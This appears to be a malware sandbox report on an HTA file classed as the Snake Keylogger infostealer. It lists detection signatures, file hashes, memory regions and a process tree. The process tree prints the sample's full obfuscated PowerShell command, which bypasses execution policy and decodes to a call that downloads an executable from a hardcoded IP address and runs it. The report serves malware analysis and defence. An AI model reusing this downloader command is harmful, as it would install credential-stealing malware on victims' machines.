Analysis

  • max time kernel
    110s
  • max time network
    111s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    06-10-2024 18:46

General

  • Target

    na.hta

  • Size

    150KB

  • MD5

    25a0a6e379daa9cb5c68307fbf0857ea

  • SHA1

    4c672a33a46b32584f00868c4b98d10187a91c3c

  • SHA256

    bdae25f01110b01f248c854d1ee715aa77d00342a7db6fe5cc06e085c07dfbef

  • SHA512

    fb0bb7232df274cc07e30ec425e891e40cc105469e2aaf0f0d3843199c605f910a74690195a08ed1b269725ff13a48b927585d0f98a655743b0484ea8f652ee7

  • SSDEEP

    48:7oa+ahWjz7eWLB2L64UKB3Rns4wKB3RnFWhWYYeecSr99DdokZGStBw04v4U1QYx:Ea+Cw7W3FNYfqffZUgAVT

Malware Config

Extracted

Family

snakekeylogger

Credentials

Signatures

  • Snake Keylogger

    Keylogger and Infostealer first seen in November 2020.

  • Snake Keylogger payload 1 IoCs
  • Blocklisted process makes network request 1 IoCs
  • Downloads MZ/PE file
  • Evasion via Device Credential Deployment 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • AutoIT Executable 1 IoCs

    AutoIT scripts compiled to PE executables.

  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious behavior: MapViewOfSection 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 19 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Windows\SysWOW64\mshta.exe
    C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\na.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
    1⤵
    • Checks computer location settings
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:2468
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" "/c pOweRShELl -eX ByPass -nOp -W 1 -C dEviCECreDENTIalDEpLoyMeNt ; ieX($(Iex('[sySTeM.texT.eNcOdiNg]'+[cHar]58+[cHaR]58+'uTF8.gEtStrInG([sYstEm.COnvErt]'+[CHAR]58+[CHAR]0x3a+'FRoMBaSe64sTRINg('+[Char]34+'JGREYTI1RmEwZ0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWRELVRZcGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbWVNQmVSZEVGSU5JdGlvTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1UkxtT24iLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBaWXZIaWVyLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFVGLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFN0dWZyeFZEZ1IsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEZNZGdweCxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBVa3JHUSk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYU1lICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIk1IckREdEtUIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYU1lU1BBQ0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBzd2FCbnIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGREYTI1RmEwZ0U6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xNzIuMjQ1LjEyMy45LzI0MC90YXNraG9zdHcuZXhlIiwiJEVudjpBUFBEQVRBXHRhc2tob3N0dy5leGUiLDAsMCk7U3RhUlQtc0xFRVAoMyk7U3RhclQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVudjpBUFBEQVRBXHRhc2tob3N0dy5leGUi'+[CHAR]0x22+'))')))"
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4676
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        pOweRShELl -eX ByPass -nOp -W 1 -C dEviCECreDENTIalDEpLoyMeNt ; ieX($(Iex('[sySTeM.texT.eNcOdiNg]'+[cHar]58+[cHaR]58+'uTF8.gEtStrInG([sYstEm.COnvErt]'+[CHAR]58+[CHAR]0x3a+'FRoMBaSe64sTRINg('+[Char]34+'JGREYTI1RmEwZ0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWRELVRZcGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbWVNQmVSZEVGSU5JdGlvTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1UkxtT24iLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBaWXZIaWVyLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFVGLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFN0dWZyeFZEZ1IsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEZNZGdweCxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBVa3JHUSk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYU1lICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIk1IckREdEtUIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYU1lU1BBQ0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBzd2FCbnIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGREYTI1RmEwZ0U6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xNzIuMjQ1LjEyMy45LzI0MC90YXNraG9zdHcuZXhlIiwiJEVudjpBUFBEQVRBXHRhc2tob3N0dy5leGUiLDAsMCk7U3RhUlQtc0xFRVAoMyk7U3RhclQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVudjpBUFBEQVRBXHRhc2tob3N0dy5leGUi'+[CHAR]0x22+'))')))"
        3⤵
        • Blocklisted process makes network request
        • Evasion via Device Credential Deployment
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4972
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\dxa2jpsv\dxa2jpsv.cmdline"
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:1872
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
            C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESC014.tmp" "c:\Users\Admin\AppData\Local\Temp\dxa2jpsv\CSCE24E7D8FFAE74E56A0C529F442F14E5.TMP"
            5⤵
            • System Location Discovery: System Language Discovery
            PID:2252
        • C:\Users\Admin\AppData\Roaming\taskhostw.exe
          "C:\Users\Admin\AppData\Roaming\taskhostw.exe"
          4⤵
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: MapViewOfSection
          • Suspicious use of WriteProcessMemory
          PID:3844
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
            "C:\Users\Admin\AppData\Roaming\taskhostw.exe"
            5⤵
            • Accesses Microsoft Outlook profiles
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • outlook_office_path
            • outlook_win_path
            PID:756

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\RESC014.tmp

    Filesize

    1KB

    MD5

    1c8b77e8a4fd59b53fcd9d96b46a1c43

    SHA1

    cd368720ff7628f1ea074d11b59dd3c5582aa305

    SHA256

    aa859c8fea2e4292ea498ecb753ee94ec1082c8a7ff5075872a021013b4f6d9f

    SHA512

    6c1138c13a919e690ab28e24b0a7d0c76bb4502c23bc0cb40d179b8175848604bd7c5b3965a19d211d0daa1117b7cf1690663d8d867342d4cd70ed31f1485bb2

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wdjpr3u3.0ay.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Local\Temp\dxa2jpsv\dxa2jpsv.dll

    Filesize

    3KB

    MD5

    9756c2172a89e4f615a5c411071eb972

    SHA1

    0cdd42ded95f8069f5ce3c49f2a07c4624055452

    SHA256

    f47d8a3b57820487cbe366b61789ecdad4d2fd2c4de9b28e162d0dbd4b3181b5

    SHA512

    6194e32aea98be7bb9e4174cc281007e0fe1d31a0812294d3c1db94c59f1b8f1427848fef607229cbd4959a762f91e087635d42e7329b82f9dc45100937dcfff

  • C:\Users\Admin\AppData\Roaming\taskhostw.exe

    Filesize

    931KB

    MD5

    58ff14d476f2bbaab31b12587c09559e

    SHA1

    ea9c7ce65a67f2a2d4e1ca4a2c3ac6785021fc94

    SHA256

    1640e87780b219eba703c734e68b0f5cf793bc94fe0cdf9121658d12bb1f9364

    SHA512

    a75d4bd80620a9441783131812780397fb0c3b1c6d6b9147d65ece23d9cc9384c148f6c491794cfbc012c290e3266e06a76357b84141b843929a295c2649613a

  • \??\c:\Users\Admin\AppData\Local\Temp\dxa2jpsv\CSCE24E7D8FFAE74E56A0C529F442F14E5.TMP

    Filesize

    652B

    MD5

    ff79d301256ac92033457532fdb8cd85

    SHA1

    7f9caaa549bfe73a8db4ebc8e7a64824470f1c61

    SHA256

    ba620562b4a11338a01c95475e625f213d87b9a2019b20953ed6c69f3497ba99

    SHA512

    f33543cdaa6b28780ccdc034e86742c2d9c085b9f8df807c12040ce47b7d89f6b4c2025580ed31c3a6cdfd7787bad3f5fdd7434bc6ceaad8d204190ba3baff92

  • \??\c:\Users\Admin\AppData\Local\Temp\dxa2jpsv\dxa2jpsv.0.cs

    Filesize

    477B

    MD5

    3c2b912e8118e7163d3d05a557f13d2f

    SHA1

    8889f87c11a2fca2b363c3064d317447a29c5498

    SHA256

    822f2e3e97f3d3f1d6a78969a3b8e502a2dd611a0bb9e1abccfd94f6faa22852

    SHA512

    7aeb33879a1c6a8a639e65e4dab9076d2c0c03bb65e2883c342d35b3ae3cbcda8dc6158da09ded5d908193af173cb4c34014b0055b13c1ed9be74fb3fe896499

  • \??\c:\Users\Admin\AppData\Local\Temp\dxa2jpsv\dxa2jpsv.cmdline

    Filesize

    369B

    MD5

    17f1bd4cc7c9e4a2099e2e2916385a34

    SHA1

    044790895cb168d2a372e9bdc8316e0b20f845c6

    SHA256

    ff910a3847fb68b71ecebb92b9735c6a97de2ce470289382d413b66ef905dcac

    SHA512

    9de6570fa7258340cf74b9322e21cbadeebee727cfed06b28fa6f2be8d6b934f06bf653731fa5f6b31d0d2d276750cafeeae40a9cdf2469760cd53dd2bdd08c1

  • memory/756-85-0x0000000005D50000-0x0000000005F12000-memory.dmp

    Filesize

    1.8MB

  • memory/756-82-0x0000000000140000-0x0000000000166000-memory.dmp

    Filesize

    152KB

  • memory/756-83-0x0000000004A00000-0x0000000004A9C000-memory.dmp

    Filesize

    624KB

  • memory/756-84-0x0000000005B30000-0x0000000005B80000-memory.dmp

    Filesize

    320KB

  • memory/756-86-0x0000000005C20000-0x0000000005CB2000-memory.dmp

    Filesize

    584KB

  • memory/756-87-0x0000000005BE0000-0x0000000005BEA000-memory.dmp

    Filesize

    40KB

  • memory/4972-19-0x00000000067B0000-0x00000000067FC000-memory.dmp

    Filesize

    304KB

  • memory/4972-0-0x000000007111E000-0x000000007111F000-memory.dmp

    Filesize

    4KB

  • memory/4972-23-0x000000006DD20000-0x000000006E074000-memory.dmp

    Filesize

    3.3MB

  • memory/4972-33-0x0000000006D20000-0x0000000006D3E000-memory.dmp

    Filesize

    120KB

  • memory/4972-34-0x0000000007750000-0x00000000077F3000-memory.dmp

    Filesize

    652KB

  • memory/4972-35-0x0000000071110000-0x00000000718C0000-memory.dmp

    Filesize

    7.7MB

  • memory/4972-37-0x0000000007AC0000-0x0000000007ADA000-memory.dmp

    Filesize

    104KB

  • memory/4972-36-0x0000000008100000-0x000000000877A000-memory.dmp

    Filesize

    6.5MB

  • memory/4972-38-0x0000000007B30000-0x0000000007B3A000-memory.dmp

    Filesize

    40KB

  • memory/4972-39-0x0000000007D50000-0x0000000007DE6000-memory.dmp

    Filesize

    600KB

  • memory/4972-40-0x0000000007CB0000-0x0000000007CC1000-memory.dmp

    Filesize

    68KB

  • memory/4972-41-0x0000000007CE0000-0x0000000007CEE000-memory.dmp

    Filesize

    56KB

  • memory/4972-42-0x0000000007CF0000-0x0000000007D04000-memory.dmp

    Filesize

    80KB

  • memory/4972-43-0x0000000007D30000-0x0000000007D4A000-memory.dmp

    Filesize

    104KB

  • memory/4972-44-0x0000000007D20000-0x0000000007D28000-memory.dmp

    Filesize

    32KB

  • memory/4972-21-0x000000006D9D0000-0x000000006DA1C000-memory.dmp

    Filesize

    304KB

  • memory/4972-22-0x0000000071110000-0x00000000718C0000-memory.dmp

    Filesize

    7.7MB

  • memory/4972-20-0x0000000006D40000-0x0000000006D72000-memory.dmp

    Filesize

    200KB

  • memory/4972-57-0x0000000007D20000-0x0000000007D28000-memory.dmp

    Filesize

    32KB

  • memory/4972-18-0x0000000006790000-0x00000000067AE000-memory.dmp

    Filesize

    120KB

  • memory/4972-17-0x0000000006190000-0x00000000064E4000-memory.dmp

    Filesize

    3.3MB

  • memory/4972-63-0x000000007111E000-0x000000007111F000-memory.dmp

    Filesize

    4KB

  • memory/4972-64-0x0000000071110000-0x00000000718C0000-memory.dmp

    Filesize

    7.7MB

  • memory/4972-65-0x0000000007FD0000-0x0000000007FF2000-memory.dmp

    Filesize

    136KB

  • memory/4972-66-0x0000000008D30000-0x00000000092D4000-memory.dmp

    Filesize

    5.6MB

  • memory/4972-7-0x0000000006120000-0x0000000006186000-memory.dmp

    Filesize

    408KB

  • memory/4972-79-0x0000000071110000-0x00000000718C0000-memory.dmp

    Filesize

    7.7MB

  • memory/4972-6-0x00000000060B0000-0x0000000006116000-memory.dmp

    Filesize

    408KB

  • memory/4972-5-0x0000000006010000-0x0000000006032000-memory.dmp

    Filesize

    136KB

  • memory/4972-4-0x0000000071110000-0x00000000718C0000-memory.dmp

    Filesize

    7.7MB

  • memory/4972-2-0x00000000059A0000-0x0000000005FC8000-memory.dmp

    Filesize

    6.2MB

  • memory/4972-3-0x0000000071110000-0x00000000718C0000-memory.dmp

    Filesize

    7.7MB

  • memory/4972-1-0x00000000051B0000-0x00000000051E6000-memory.dmp

    Filesize

    216KB